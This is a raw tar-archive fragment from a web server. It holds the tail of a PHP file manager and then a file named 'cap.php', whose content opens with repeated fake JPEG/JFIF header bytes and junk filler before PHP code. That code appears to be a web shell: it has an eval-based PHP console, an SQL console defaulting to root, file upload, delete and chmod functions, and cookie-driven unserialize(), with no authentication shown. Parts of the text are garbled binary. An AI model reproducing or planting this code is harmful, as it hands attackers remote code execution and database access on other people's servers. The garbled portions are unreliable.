    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
